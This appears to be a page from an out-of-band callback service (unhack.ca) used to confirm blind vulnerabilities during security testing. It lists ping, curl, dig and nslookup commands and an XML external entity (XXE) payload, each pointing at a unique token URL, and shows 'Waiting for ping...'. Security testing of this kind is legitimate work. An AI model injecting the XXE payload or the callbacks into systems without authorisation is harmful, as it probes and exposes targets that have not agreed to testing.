$ ping -c1 -p 00492c73505bb3561be54987c6557800 unhack.ca
 
$ curl http://unhack.ca/p/492c73505bb3561be54987c65578
 
$ dig 492c73505bb3561be54987c65578 @unhack.ca
 
$ dig 492c73505bb3561be54987c65578.ns.unhack.ca
 
C:\> nslookup 492c73505bb3561be54987c65578 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/492c73505bb3561be54987c65578">]>
    <foo>&xxe;</foo>
 
Waiting for ping...